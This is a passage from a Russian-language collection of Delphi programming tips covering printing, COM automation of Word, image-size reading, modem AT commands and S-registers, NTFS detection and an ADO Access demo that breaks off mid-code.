Code: Uses. Word_TLB, ActiveX, ComObj; Function GetRTFFormat(DataObject: IDataObject; var RTFFormat: TFormatEtc): Boolean; Var. Formats: IEnumFORMATETC; TempFormat: TFormatEtc; PFormatName: PChar; Found: Boolean; Begin. Try. OleCheck(DataObject.EnumFormatEtc(DATADIR_GET, Formats)); Found := False; While (not Found) and (Formats.Next(1, TempFormat, nil) = S_OK) do. Begin. PFormatName := AllocMem(255); GetClipBoardFormatName(TempFormat.cfFormat, pFormatName, 254); If (string(pFormatName) = 'Rich Text Format') then. Begin. RTFFormat := TempFormat; Found := True; End; FreeMem(pFormatName); End; Result := Found; Except. Result := False; End; End; Procedure WriteToMSWord(const RTFText: String); Var. WordDoc: _Document; WordApp: _Application; DataObj : IDataObject; Formats : IEnumFormatEtc; RTFFormat: TFormatEtc; Medium : TStgMedium; PGlobal : Pointer; Begin. Try. GetActiveOleObject('Word.Application').QueryInterface(_Application, WordApp); Except. WordApp := CoWordApplication.Create; End; WordApp.Documents.Add(EmptyParam, EmptyParam, EmptyParam, EmptyParam); WordApp.Visible := True; WordDoc := WordApp.ActiveDocument; OleCheck(WordDoc.QueryInterface(IDataObject,DataObj)); GetRTFFormat(DataObj, RTFFormat); FillChar(Medium,SizeOf(Medium),0); Medium.tymed := RTFFormat.tymed; Medium.hGlobal := GlobalAlloc(GMEM_MOVEABLE, Length(RTFText)+1); Try. PGlobal := GlobalLock(Medium.hGlobal); CopyMemory(PGlobal,PChar(RTFText),Length(RTFText)+1); GlobalUnlock(Medium.hGlobal); OleCheck(DataOBJ.SetData(RTFFormat,Medium,True)); Finally. GlobalFree(Medium.hGlobal); ReleaseStgMedium(Medium); End; End; Procedure TForm1.Button2Click(Sender: TObject); Begin. WriteToMSWord(Memo1.Text); // may be rtf-formatted text. End;

Как выбрать случайную запись?

Code: Procedure TForm1.FormCreate(Sender: TObject); Begin. Randomize; End; Procedure TForm1.Button1Click(Sender: TObject); Begin. Table1.First; Table1.MoveBy(Random(Table1.RecordCount)); End;

Изменение свойств печати во время ее выполнения.

Как разрешить изменения свойств принтера (например, лоток с бумагой, ориентация и др.) между страницами печати одного документа в шести шагах.

(В совете также приведен пример изменения поддона с бумагой...).

*** ШАГИ ***

Создайте копию модуля Printers.pas и переименуйте его в NewPrint.pas.

***НЕ делайте изменения в самом модуле Printers.pas, если вы сделаете это, то получите во время компиляции приложения ошибку "Unable to find printers.pas" (не могу найти printer.pas). (Я уже получае ее, поэтому и упоминаю об этом здесь...)***

Переместите модуль NewPrint.pas в директорию Lib.

(Используйте "C:\Program Files\Borland\Delphi Х\Lib" ).

Измените ИМЯ МОДУЛЯ на NewPrint.pas.

С:

Unit Printers.

На:

Unit NewPrint.

Добавьте декларацию следующего PUBLIC метода класса TPrinter в секции Interface модуля NewPrint.pas:

Procedure NewPageDC(DM: PDevMode);

Добавьте следующую процедуру в секцию реализации NewPrint.pas:

Code: Procedure TPrinter.NewPageDC(DM: PDevMode); Begin. CheckPrinting(True); EndPage(DC); {Проверяем наличие новых установок для принтера}. If Assigned(DM) then. ResetDC(DC, DM^); StartPage(DC); Inc(FPageNumber); Canvas.Refresh; End;

Печать ячеек.

У кого-нибудь есть пример кода печати в заданной ячейке? Типа PrintAt(row,col,"Text")?

Вот некоторый код, который я нашел после блужданий в группах новостей. Правда сам я его не проверял, но источник утверждает, что он работает. Так что будьте внимательны!

Code: Procedure TForm1.PrintTableClick(Sender: TObject); Var. Xcord: integer; Ycord: integer; Recordbuffer: string; Begin. Xcord := 10; Ycord := 10; Table1.First; Printer.BeginDoc; Printer.Canvas.Font.Name := 'Courier New'; While not Table1.EOF do. Begin. Recordbuffer := concat((Table1.Fields[0].AsString), ' ', (Table1.Fields[1].AsString)); Recordbuffer := recordbuffer + concat(' ', (Table1.Fields[2].AsString); {пока все поля не будут в recordbuffer}. Printer.Canvas.TextOut(xcord, ycord, recordbuffer); Ycord := ycord + 50; Table1.next; End; Printer.Enddoc; End;

Метрики принтера.

При печати с помощью TPrinter могу ли я определить момент, когда достигнут конец листа? Возможно ли получить высоту базовой строки с назначенным шрифтом?

Font.Height дает вам высоту шрифта в пикселях с учетом интервала.

Как мне преобразовать высоту в пикселях в дюймы печатаемой страницы?

Не делайте этого, используйте у TPrinter свойства PageHeight и PageWidth.

Хорошо, но я еще что - то не учел.Например, я использую шрифт Courier New размером 9 точек:

Printer.Canvas.Font.Height = -12.

Printer.PageHeight = 3150.

Даже отбрасывая загадку унарного минуса, я получаю 3150 div 12, или 262 строк на страницу.

Посмотри электронную справку по теме 'Printer.Canvas.TextHeight'.Это свойство покажет вам, какую высоту будет использовать 'текущий шрифт'.Это то, что вы должны использовать для определения 'количество строк на странице'.Например, шрифт Courier New размером 9 точек имеет значение TextHeight, равное 40. Поделите 3150 на эту величину и вы получите 78 'строк', почти правильную величину для 9 - точечного шрифта, если принимать во внимание то, что на дюйме помещается примерно 8 строк.

Для определения количества точек на дюйм(как горизонтально, так и вертикально)можно использовать API функцию GetDeviceCaps.Полученные значения позволят вам правильно преобразовать пиксели в дюймы.

Значение - 12 для 9 - точечного шрифта Courier - это высота шрифта для устройства с разрешением 96 DPI(например, ваш экран).Попробуйте назначить величину 9 свойству Size после того как вы вызвали BeginDoc и посмотрите на значение свойства Height.Это должно быть значительно большей величиной.

Вызывая команду Printer.NewPage, вы _не_ начинаете печать очередной строки, а заставляете принтер закончить печать на текущем листе и начать печать сверху нового листа(кажется, принтер HPLJ IIIP понимает эту команду иначе).После вызова Printer.NewPage следующая строка печатается примерно в полдюйме от верха бумаги.

Кроме того, приведу здесь текст моей текущей программы для печати текста компонента Memo с заголовком на каждой странице:

Code: Procedure btPrintMemoWithHeader(Memo: TCustomMemo; Printer: TPrinter; PrintDialog: TPrintDialog; HeaderText: string; TopMargin, BottomMargin, LeftMargin: Integer); Var. FirstPage: Boolean; I, LinesPerPage, CurrentLine, Line: Integer; PrintText: System.Text; LeftMarginString, Header: string; Begin. If PrintDialog.Execute then. Begin. With Printer do. Begin. AssignPrn(PrintText); Rewrite(PrintText); {Заполняем левую часть строки определенным количеством пробелов.}. LeftMarginString := ''; For i := 0 to LeftMargin do. LeftMarginString := LeftMarginString + ' '; {Назначаем принтеру такой же шрифт, как и в компоненте Memo.:\}. Canvas.Font := (Memo as TMemo).Font; {Вычисляем количество строк на странице.}. LinesPerPage := PageHeight div Canvas.TextHeight('X'); LinesPerPage := LinesPerPage - 8 - TopMargin - BottomMargin; CurrentLine := LinesPerPage; FirstPage := True; {Печать Memo.}. For Line := 0 to Memo.Lines.Count - 1 do. Begin. {Если конец страницы, начинаем новую.}. If CurrentLine >= LinesPerPage then. Begin. {Печатаем "Form Feed", если это не новая страница принтера.}. If not FirstPage then Write(PrintText, #12); {Если не первая страница, то меняем лист}. FirstPage := False; {Печатаем определенное количество пустых строк для верхнего поля.}. For i := 0 to TopMargin do. Writeln(PrintText, ''); {Форматируем и печатаем строку заголовока.}. Header := Format('Страница %s %s %s %s'#13#10, [IntToStr(Printer.PageNumber), DateToStr(Date), TimeToStr(Time), HeaderText]); Write(PrintText, LeftMarginString); Writeln(PrintText, Header); {Сбрасываем номер текущей строки на 1 для следующей страницы.}. CurrentLine := 1; End; {Печатаем строку из Memo.}. Write(PrintText, LeftMarginString); Writeln(PrintText, Memo.Lines[Line]); Inc(CurrentLine); End; CloseFile(PrintText); End; End; End;

Диалог прекращения печати.

Как мне создать диалог прекращения печати при работе с TPrinter?

Создайте форму с кнопкой "Abort". Обработчик нажатия кнопки должен вызывать Printer.Abort.

Теперь, при запуске печати, вам необходимо показать этот диалог в немодальном режиме методом Show(). Тем не менее, перед показом диалога необходимо деактивировать главную форму приложения, например так:

Code: Application.MainForm.Enabled := false; AbortDlg.Show; { Здесь код печати }. AbortDlg.Close; Appliction.MainForm.Enable := true;

Прерывание работы принтера.

При вызове Printer.Abort должен вызываться код.

WinProcs.AbortProc(Printer.Handle).

Но этого не происходит. Вызывайте это сами каждый раз при использовании Printer.Abort.

©Drkb::03245.

Взято из Советов по Delphi от Валентина Озерова.

Сборник Kuliba.

Печать всей формы.

Code: Unit PrintF; {Печатает TLabel, TEdit, TMemo, TStringGrid, TShape и др. DB-компоненты. Установите Form H & V ScrollBar.Ranges на 768X1008 для страницы 8X10.5. Примечание: это не компонент. Успехов. Bill}. Interface. Uses. SysUtils, WinTypes, WinProcs, Classes, Graphics, Controls, Forms, Grids, Printers, StdCtrls, ExtCtrls, Mask; Function PrintForm(AForm: TForm; ATag: Longint): integer; {используйте: PrintForm(Form2, 0); AForm - форма, которую необходимо напечатать. Если вы, к примеру, Печатаете Form2 из обработчика события Form1, то используйте Unit2. В списке используемых модулей в секции implementation молуля Unit1. ATag - поле Tag компонента, который необходимо печатать или 0 для всех. Если Tag компонента равен 14 (2+4+8), он буден напечатан в случае, Когда ATag равен 0, 2, 4 или 8. Функция возвращает количество напечатанных компонентов. }. Implementation. Var ScaleX, ScaleY, I, Count: integer; DC: HDC; F: TForm; Function ScaleToPrinter(R: TRect): TRect; Begin. R.Top := (R.Top + F.VertScrollBar.Position) * ScaleY; R.Left := (R.Left + F.HorzScrollBar.Position) * ScaleX; R.Bottom := (R.Bottom + F.VertScrollBar.Position) * ScaleY; R.Right := (R.Right + F.HorzScrollBar.Position) * ScaleY; Result := R; End; Procedure PrintMComponent(MC: TMemo); Var C: array[0..255] of char; CLen: integer; Format: Word; R: TRect; Begin. Printer.Canvas.Font := MC.Font; DC := Printer.Canvas.Handle; {так DrawText знает о шрифте}. R := ScaleToPrinter(MC.BoundsRect); If (not (F.Components[I] is TCustomLabel)) and (MC.BorderStyle = bsSingle) then Printer.Canvas.Rectangle(R.Left, R.Top, R.Right, R.Bottom); Format := DT_LEFT; If (F.Components[I] is TEdit) or (F.Components[I] is TCustomMaskEdit) then. Format := Format or DT_SINGLELINE or DT_VCENTER. Else. Begin. If MC.WordWrap then Format := DT_WORDBREAK; If MC.Alignment = taCenter then Format := Format or DT_CENTER; If MC.Alignment = taRightJustify then Format := Format or DT_RIGHT; R.Bottom := R.Bottom + Printer.Canvas.Font.Height; End; CLen := MC.GetTextBuf(C, 255); R.Left := R.Left + ScaleX + ScaleX; WinProcs.DrawText(DC, C, CLen, R, Format); Inc(Count); End; Procedure PrintShape(SC: TShape); Var H, W, S: integer; R: TRect; Begin {PrintShape}. Printer.Canvas.Pen := SC.Pen; Printer.Canvas.Pen.Width := Printer.Canvas.Pen.Width * ScaleX; Printer.Canvas.Brush := SC.Brush; R := ScaleToPrinter(SC.BoundsRect); W := R.Right - R.Left; H := R.Bottom - R.Top; If W < H then. S := W. Else. S := H; If SC.Shape in [stSquare, stRoundSquare, stCircle] then. Begin. Inc(R.Left, (W - S) div 2); Inc(R.Top, (H - S) div 2); W := S; H := S; End; Case SC.Shape of. StRectangle, stSquare: Printer.Canvas.Rectangle(R.Left, R.Top, R.Left + W, R.Top + H); StRoundRect, stRoundSquare: Printer.Canvas.RoundRect(R.Left, R.Top, R.Left + W, R.Top + H, S div 4, S div 4); StCircle, stEllipse: Printer.Canvas.Ellipse(R.Left, R.Top, R.Left + W, R.Top + H); End; Printer.Canvas.Pen.Width := ScaleX; Printer.Canvas.Brush.Style := bsClear; Inc(Count); End; {PrintShape}. Procedure PrintSGrid(SGC: TStringGrid); Var J, K: integer; Q, R: TRect; Format: Word; C: array[0..255] of char; CLen: integer; Begin. Printer.Canvas.Font := SGC.Font; DC := Printer.Canvas.Handle; {так DrawText знает о шрифте}. Format := DT_SINGLELINE or DT_VCENTER; Q := SGC.BoundsRect; Printer.Canvas.Pen.Width := SGC.GridLineWidth * ScaleX; For J := 0 to SGC.ColCount - 1 do. For K := 0 to SGC.RowCount - 1 do. Begin. R := SGC.CellRect(J, K); If R.Right > R.Left then. Begin. R.Left := R.Left + Q.Left; R.Right := R.Right + Q.Left + SGC.GridLineWidth; R.Top := R.Top + Q.Top; R.Bottom := R.Bottom + Q.Top + SGC.GridLineWidth; R := ScaleToPrinter(R); If (J < SGC.FixedCols) or (K < SGC.FixedRows) then. Printer.Canvas.Brush.Color := SGC.FixedColor. Else. Printer.Canvas.Brush.Style := bsClear; If SGC.GridLineWidth > 0 then. Printer.Canvas.Rectangle(R.Left, R.Top, R.Right, R.Bottom); StrPCopy(C, SGC.Cells[J, K]); R.Left := R.Left + ScaleX + ScaleX; WinProcs.DrawText(DC, C, StrLen(C), R, Format); End; End; Printer.Canvas.Pen.Width := ScaleX; Inc(Count); End; Function PrintForm(AForm: TForm; ATag: Longint): integer; Begin {PrintForm}. Count := 0; F := AForm; Printer.BeginDoc; Try. DC := Printer.Canvas.Handle; ScaleX := WinProcs.GetDeviceCaps(DC, LOGPIXELSX) div F.PixelsPerInch; ScaleY := WinProcs.GetDeviceCaps(DC, LOGPIXELSY) div F.PixelsPerInch; For I := 0 to F.ComponentCount - 1 do. If TControl(F.Components[I]).Visible then. If (ATag = 0) or (TControl(F.Components[I]).Tag and ATag = ATag) then. Begin. If (F.Components[I] is TCustomLabel) or (F.Components[I] is TCustomEdit) then. PrintMComponent(TMemo(F.Components[I])); If (F.Components[I] is TShape) then. PrintShape(TShape(F.Components[I])); If (F.Components[I] is TStringGrid) then. PrintSGrid(TStringGrid(F.Components[I])); End; Finally. Printer.EndDoc; Result := Count; End; End; {PrintForm}. End. Unit Rulers; { Добавьте в файл .DCR иконки для двух компонентов. Успехов, Bill}. Interface. Uses. SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms; Type. THRuler = class(TGraphicControl). Private. { Private declarations }. FHRulerAlign: TAlign; Procedure SetHRulerAlign(Value: TAlign); Protected. { Protected declarations }. Procedure Paint; override; Public. { Public declarations }. Constructor Create(AOwner: TComponent); override; Published. { Published declarations }. Property AlignHRuler: TAlign read fHRulerAlign write SetHRulerAlign default alNone; Property Color default clYellow; Property Height default 33; Property Width default 768; Property Visible; End; Type. TVRuler = class(TGraphicControl). Private. { Private declarations }. FVRulerAlign: TAlign; Procedure SetVRulerAlign(Value: TAlign); Protected. { Protected declarations }. Procedure Paint; override; Public. { Public declarations }. Constructor Create(AOwner: TComponent); override; Published. { Published declarations }. Property AlignVRuler: TAlign read fVRulerAlign write SetVRulerAlign default alNone; Property Color default clYellow; Property Height default 1008; Property Width default 33; Property Visible; End; Procedure Register; Implementation. Procedure Register; Begin. RegisterComponents('Samples', [THRuler, TVRuler]); End; Procedure THRuler.SetHRulerAlign(Value: TAlign); Begin. If Value in [alTop, alBottom, alNone] then. Begin. FHRulerAlign := Value; Align := Value; End; End; Constructor THRuler.Create(AOwner: TComponent); Begin. Inherited Create(AOwner); AlignHRuler := alNone; Color := clYellow; Height := 33; Width := 768; End; Procedure THRuler.Paint; Var a12th, N, X: word; Begin. A12th := Screen.PixelsPerInch div 12; N := 0; X := 0; With Canvas do. Begin. Brush.Color := Color; FillRect(ClientRect); With ClientRect do. Rectangle(Left, Top, Right, Bottom); While X < Width do. Begin. MoveTo(X, 1); LineTo(X, 6 * (1 + byte(N mod 3 = 0) + Byte(N mod 6 = 0) + Byte(N mod 12 = 0))); If (N > 0) and (N mod 12 = 0) then. TextOut(PenPos.X + 3, 9, IntToStr(N div 12)); N := N + 1; X := X + a12th; End; End; End; {*********************************************} Procedure TVRuler.SetVRulerAlign(Value: TAlign); Begin. If Value in [alLeft, alRight, alNone] then. Begin. FVRulerAlign := Value; Align := Value; End; End; Constructor TVRuler.Create(AOwner: TComponent); Begin. Inherited Create(AOwner); AlignVRuler := alNone; Color := clYellow; Height := 1008; Width := 33; End; Procedure TVRuler.Paint; Var a6th, N, Y: word; Begin. A6th := Screen.PixelsPerInch div 6; N := 0; Y := 0; With Canvas do. Begin. Brush.Color := Color; FillRect(ClientRect); With ClientRect do. Rectangle(Left, Top, Right, Bottom); While Y < Height do. Begin. MoveTo(1, Y); LineTo(6 * (2 + byte(N mod 3 = 0) + Byte(N mod 6 = 0)), Y); If (N > 0) and (N mod 6 = 0) then. TextOut(12, PenPos.Y - 16, IntToStr(N div 6)); N := N + 1; Y := Y + a6th; End; End; End; End.

Печать содержимого TMemo/TListbox.

Как мне вывести на печать все строки компонента TMemo или TListbox?

Нижеприведенная функция в качестве параметра акцептует объект TStrings и распечатывает все строки на принтере, установленном в системе по умолчанию.Поскольку функция использует TStrings, то она может работать с любыми типами компонентов, имеющими свойство типа TStrings, например TDBMemo или TOutline.

Code: Uses Printers; Procedure PrintStrings(Strings: TStrings); Var. Prn: TextFile; I: word; Begin. AssignPrn(Prn); Try. Rewrite(Prn); Try. For i := 0 to Strings.Count - 1 do. Writeln(Prn, Strings.Strings[i]); Finally. CloseFile(Prn); End; Except. On EInOutError do. MessageDlg('Ошибка печати текста.', mtError, [mbOk], 0); End; End;

©Drkb::03247.

Для печати содержимого TMemo или TListbox используйте следующий код:

PrintStrings(Memo1.Lines);

Или.

PrintStrings(Listbox1.Items);

©Drkb::03248.

Взято из Советов по Delphi от Валентина Озерова.

Сборник Kuliba.

Печать текста в обход Windows.

Откройте файл типа TextFile и пишите в него напрямую:

Code: Var. Lst: TextFile; Begin. AssignFile(Lst, 'LPT1'); Rewrite(Lst); WriteLn(Lst, 'Здравствуй, мир!'); Close(Lst); End.

Как узнать размер картинки для JPG, GIF и PNG файлов?

Code: Unit ImgSize; Interface. Uses Classes; Procedure GetJPGSize(const sFile: string; var wWidth, wHeight: Word); Procedure GetPNGSize(const sFile: string; var wWidth, wHeight: Word); Procedure GetGIFSize(const sGIFFile: string; var wWidth, wHeight: Word); Implementation. Uses SysUtils; Function ReadMWord(f: TFileStream): Word; Type. TMotorolaWord = record. Case Byte of. 0: (Value: Word); 1: (Byte1, Byte2: Byte); End; Var. MW: TMotorolaWord; Begin. { It would probably be better to just read these two bytes in normally }. { and then do a small ASM routine to swap them. But we aren't talking }. { about reading entire files, so I doubt the performance gain would be }. { worth the trouble. }. F.read(MW.Byte2, SizeOf(Byte)); F.read(MW.Byte1, SizeOf(Byte)); Result := MW.Value; End; Procedure GetJPGSize(const sFile: string; var wWidth, wHeight: Word); Const. ValidSig: array[0..1] of Byte = ($FF, $D8); Parameterless = [$01, $D0, $D1, $D2, $D3, $D4, $D5, $D6, $D7]; Var. Sig: array[0..1] of byte; F: TFileStream; X: integer; Seg: byte; Dummy: array[0..15] of byte; Len: word; ReadLen: LongInt; Begin. FillChar(Sig, SizeOf(Sig), #0); F := TFileStream.Create(sFile, fmOpenRead); Try. ReadLen := f.read(Sig[0], SizeOf(Sig)); For x := Low(Sig) to High(Sig) do. If Sig[x] <> ValidSig[x] then ReadLen := 0; If ReadLen > 0 then. Begin. ReadLen := f.read(Seg, 1); While (Seg = $FF) and (ReadLen > 0) do. Begin. ReadLen := f.read(Seg, 1); If Seg <> $FF then. Begin. If (Seg = $C0) or (Seg = $C1) then. Begin. ReadLen := f.read(Dummy[0], 3); { don't need these bytes }. WHeight := ReadMWord(f); WWidth := ReadMWord(f); End. Else. Begin. If not (Seg in Parameterless) then. Begin. Len := ReadMWord(f); F.Seek(Len - 2, 1); F.read(Seg, 1); End. Else. Seg := $FF; { Fake it to keep looping. }. End; End; End; End; Finally. F.Free; End; End; Procedure GetPNGSize(const sFile: string; var wWidth, wHeight: Word); Type. TPNGSig = array[0..7] of Byte; Const. ValidSig: TPNGSig = (137,80,78,71,13,10,26,10); Var. Sig: TPNGSig; F: tFileStream; X: integer; Begin. FillChar(Sig, SizeOf(Sig), #0); F := TFileStream.Create(sFile, fmOpenRead); Try. F.read(Sig[0], SizeOf(Sig)); For x := Low(Sig) to High(Sig) do. If Sig[x] <> ValidSig[x] then Exit; F.Seek(18, 0); WWidth := ReadMWord(f); F.Seek(22, 0); WHeight := ReadMWord(f); Finally. F.Free; End; End; Procedure GetGIFSize(const sGIFFile: string; var wWidth, wHeight: Word); Type. TGIFHeader = record. Sig: array[0..5] of char; ScreenWidth, ScreenHeight: Word; Flags, Background, Aspect: Byte; End; TGIFImageBlock = record. Left, Top, Width, Height: Word; Flags: Byte; End; Var. F: file; Header: TGifHeader; ImageBlock: TGifImageBlock; NResult: integer; X: integer; C: char; DimensionsFound: boolean; Begin. WWidth := 0; WHeight := 0; If sGifFile = '' then. Exit; {$I-}. FileMode := 0; { read-only }. AssignFile(f, sGifFile); Reset(f, 1); If IOResult <> 0 then. { Could not open file }. Exit; { Read header and ensure valid file. }. BlockRead(f, Header, SizeOf(TGifHeader), nResult); If (nResult <> SizeOf(TGifHeader)) or (IOResult <> 0) or. (StrLComp('GIF', Header.Sig, 3) <> 0) then. Begin. { Image file invalid }. Close(f); Exit; End; { Skip color map, if there is one }. If (Header.Flags and $80) > 0 then. Begin. X := 3 * (1 shl ((Header.Flags and 7) + 1)); Seek(f, x); If IOResult <> 0 then. Begin. { Color map thrashed }. Close(f); Exit; End; End; DimensionsFound := False; FillChar(ImageBlock, SizeOf(TGIFImageBlock), #0); { Step through blocks. }. BlockRead(f, c, 1, nResult); While (not EOF(f)) and (not DimensionsFound) do. Begin. Case c of. ',': { Found image }. Begin. BlockRead(f, ImageBlock, SizeOf(TGIFImageBlock), nResult); If nResult <> SizeOf(TGIFImageBlock) then. Begin. { Invalid image block encountered }. Close(f); Exit; End; WWidth := ImageBlock.Width; WHeight := ImageBlock.Height; DimensionsFound := True; End; 'y': { Skip }. Begin. { NOP }. End; { nothing else. just ignore }. End; BlockRead(f, c, 1, nResult); End; Close(f); {$I+}. End; End.

АТ команды модема.

A Команда ответа (Answer Command).

Bn Настройка связи (Communications Options).

D Команда набора (Dial Command).

En Команда выбора символа эха (Select Command Character Echo Option).

Hn Управление Switchhook - эмуляция нажатия телефонного рычага (Control The Switchhook).

I0 Идентификация кода продукта (Identify The Product Code).

I2 Выполнение теста контрольной суммы ROM ( Perform ROM Checksum Test).

I7 Номер версии (Version Number).

Ln Выбор уровня громкости динамика (Select Speaker Volume Level).

Mn Функция выбора опций динамика (Select Speaker Function Option).

Nn Выбор опций для установления связи (Select Negotiate Handshake Option).

On Переход к онлайновым командам (Go Online Command).

P Выбор метода пульсового набора (Select Pulse Dialing Method).

Qn Выбор опции результирующего кода (Select Result Code Option).

Sn= Запись в S-регистр (Write To An S-Register).

Sn? Чтение S-регистра (Read An S-Register).

T Выбор метода тонового набора (Select Tone Dialing Method).

Vn Выбор опции формата ответа (Select Response Format Option).

Wn Выбор расширенного результирующего кода (Select Extended Result Code).

Xn Выбор опции модемного вызова (Select Call Progress Option).

Yn Выбор опции бездействия для разъединения (Select Long Space Disconnect Option).

Zn Выполнение мягкого сброса (Perform Soft Reset).

&An Выбор роли автоответчика (Select Originate/Answer Role For Autoanswer).

&Cn Выбор опции определения передаваемых данных (Select Data Carrier Detect Option).

&Dn Выбор опции готовности терминала данных (Select Data Terminal Ready Option).

&F Загрузка заводских установок (Load Factory Default Profile).

&Gn Выбор опции защиты тонового набора (Select Guard Tone Option).

&Kn Выбор опций потока ConTDol (Select Flow ConTDol Option).

&Pn Выбор параметров пульсового набора (Select Pulse Dialing Parameters).

&Qn Выбор опций режима связи (Select Communications Mode Option).

&Rn Выбор опций RTS/CTS (Select RTS/CTS Option).

&Sn Выбор опций готовности передачи данных (Select Data Set Ready Option).

&T0 Тест завершения в процессе (Terminate Test In Process).

&T1 Инициирование локального аналога сетевой петли (Initiate Local Analog Loopback).

&T3 Выполнение локальной цифровой сетевой петли (Perform Local Digital Loopback).

&T4 Включение предоставления RDL-запросов (Enable Granting Of RDL Requests).

&T5 Запрет предоставления RDL-запросов (Deny Granting Of RDL Requests).

&T6 Инициирование удаленной цифровой сетевой петли (Initiate Remote Digital Loopback).

&T7 Иниицирование внутреннего теста RDL (Initiate RDL With Self Test).

&T8 Внутренний тест локальной сетевой петли (Local Loopback With Self Test).

&T19 Выполнение теста RTS/CTS кабеля (Perform RTS/CTS Cable Test).

&Un Отмена TDellis кодирования (Disable TDellis Coding).

&V Просмотр профилей конфигурации (View Configuration Profiles).

&Wn Сохранение активного профиля (Store Active Profile).

&Xn Выбор источника синхронизации времени TDansmit (Store Active Profile).

&Yn Выбор сохранения профиля для аппаратного перезапуска (Select Stored Profile For Hard Reset).

&Zn= Сохранение телефонного номера (Store Telephone Number).

, Пауза (Perform Pause).

= Запись в S-регистр (Write To An S-Register).

? Чтение S-регистра (Read An S-Register).

P Выбор пульсового набора (Select Pulse Dialing).

Т Тоновый набор (Tone).

©Drkb::01467.

Взято из Советов по Delphi от Валентина Озерова.

Сборник Kuliba.

S-регистры модема.

S0 Звонок, на который необходимо ответить (Ring After Which To Answer).

S1 Количество звонков (Ring Count).

S2 Символ отмены (Hayes Escape Character).

S3 Символ перевода строки (Carriage Return Character).

S4 Символ пропуска строки (Line Feed Character).

S5 Символ пробела (Backspace Character).

S6 Ожидание перед вызывом (Wait Before Blind Dialing).

S7 Ожидание ответа (Wait For Carrier).

S8 Время паузы для запятой (Pause Time For Comma).

S9 Время восстановления (Carrier Recovery Time).

S10 Время задержки для поднятия трубки после потери соединения (Lost Carrier Hang Up Delay).

S11 Время DTMF соединения (DTMF Dialing Speed).

S12 Время защиты отмены (Hayes Escape Guard Time).

S16 Выполнение теста (Test in Progress).

S18 Тест таймера модема (Modem Test Timer).

S19 Настройки автосинхронизации (AutoSync Options).

S25 Обнаружено изменение DTD (Detect DTD Change).

S26 Интервал задержки RTS для CTS (RTS To CTS Delay Interval).

S30 Неактивное время ожидания (Inactivity Timeout).

S31 Символ XON (XON Character).

S32 Символ XOFF (XON Character).

S36 Ошибка согласования TDeatment (Negotiation Failure TDeatment).

S37 Ускорение DCE линии (Desired DCE Line Speed).

S38 Время ожидания снятия трубки (Hang-up Timeout).

S43 Текущая скорость линии (Current Line Speed).

S44 Техническая конструкция (Framing Technique).

S46 Выбор протокола/компрессии (Protocol/Compression Selection).

S48 Действие характеристики согласования (Feature Negotiation Action).

S49 Низкий предел буфера (Buffer Low Limit).

S50 Высокий предел буфера (Buffer High Limit).

S70 Максимальное число ReTDansmissions (Maximum Number of ReTDansmissions).

S73 Неактивное время ожидания (No Activity Timeout).

S82 Выбор прерывания (Break Selection).

S86 Код причины неудачной связи (Connection Failure Cause Code).

S91 Выбор уровня TDansmit коммутируемой линии (Select Dial-up Line TDansmit Level).

S95 Расширенный результат кода битовой карты (Extended Result Code Bit Map).

S97 Позднее время соединения - снятия трубки (V.32 Late Connecting Handshake Timing).

S105 Размер кадра (Frame Size).

S108 Селектор качества сигнала (Signal Quality Selector).

S109 Селектор скорости соединения (Carrier Speed Selector).

S110 Селектор V.32/V.32 bis (V.32/V.32 bis Selector).

S113 Тональный вызов ConTDol (Calling Tone ConTDol).

S121 Использование DTD (Use of DTD).

S141 Таймер фазы обнаружения (Detection Phase Timer).

S142 Онлайновый формат символов (Online Character Format).

S144 Выбор скорости автобода (Autobaud Speed Group Selection).

©Drkb::01468.

Взято из Советов по Delphi от Валентина Озерова.

Сборник Kuliba.

Как определить, является ли диск NTFS?

Code: Uses. ComObj; Function IsNTFS(AFileName: string): Boolean; Var. Fso, drv: OleVariant; Begin. IsNTFS := False; Fso := CreateOleObject('Scripting.FileSystemObject'); Drv := fso.GetDrive(fso.GetDriveName(AFileName)); IsNTFS := drv.FileSystem = 'NTFS' End; Procedure TForm1.Button1Click(Sender: TObject); Begin. If IsNTFS('X:\Temp\File.doc') then. ShowMessage('File is on NTFS File System'). Else. ShowMessage('File is not on NTFS File System'). End;

Записываем в Access используя OLE DB.

Code: // Читаем Access`овскую базу используя ADO. // Проверяе являеться ли файл .mdb Access. // Записываем запись в базу. // Нужны компаненты- // TADOtable,TDataSource,TOpenDialog,TDBGrid, // TBitBtn,TTimer,TEditTextBox. Program ADOdemo; Uses Forms, uMain in 'uMain.pas' {frmMain}; {$R *.RES}. Begin. Application.Initialize; Application.CreateForm(TfrmMain, frmMain); Application.Run; End. /////////////////////////////////////////////////////////////////// Unit uMain; Interface. Uses. Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Db, DBTables, ADODB, Grids, DBGrids, ExtCtrls, DBCtrls, StdCtrls, Buttons, ComObj; Type. TfrmMain = class(TForm). DBGridUsers: TDBGrid; BitBtnClose: TBitBtn; DSource1: TDataSource; EditTextBox: TEdit; BitBtnAdd: TBitBtn; TUsers: TADOTable; BitBtnRefresh: TBitBtn; Timer1: TTimer; Button1: TButton; Procedure FormCreate(Sender: TObject); Procedure ConnectToAccessDB(lDBPathName, lsDBPassword: string); Procedure ConnectToMSAccessDB(lsDBName, lsDBPassword: string); Procedure AddRecordToMSAccessDB; Function CheckIfAccessDB(lDBPathName: string): Boolean; Function GetDBPath(lsDBName: string): string; Procedure BitBtnAddClick(Sender: TObject); Procedure BitBtnRefreshClick(Sender: TObject); Procedure Timer1Timer(Sender: TObject); Function GetADOVersion: Double; Procedure Button1Click(Sender: TObject); Private. { Private declarations }. Public. { Public declarations }. End; Var. FrmMain: TfrmMain; Global_DBConnection_String: string; Const. ERRORMESSAGE_1 = 'No Database Selected'; ERRORMESSAGE_2 = 'Invalid Access Database'; Implementation. {$R *.DFM}. Procedure TfrmMain.FormCreate(Sender: TObject); Begin. ConnectToMSAccessDB('ADODemo.MDB', '123'); // DBName,DBPassword. End; Procedure TfrmMain.ConnectToMSAccessDB(lsDBName, lsDBPassword: string); Var. LDBpathName: string; Begin. LDBpathName := GetDBPath(lsDBName); If (Trim(lDBPathName) <> '') then. Begin. If CheckIfAccessDB(lDBPathName) then. ConnectToAccessDB(lDBPathName, lsDBPassword); End. Else. MessageDlg(ERRORMESSAGE_1, mtInformation, [mbOK], 0); End; Function TfrmMain.GetDBPath(lsDBName: string): string; Var. LOpenDialog: TOpenDialog; Begin. LOpenDialog := TOpenDialog.Create(nil); If FileExists(ExtractFileDir(Application.ExeName) + '\' + lsDBName) then. Result := 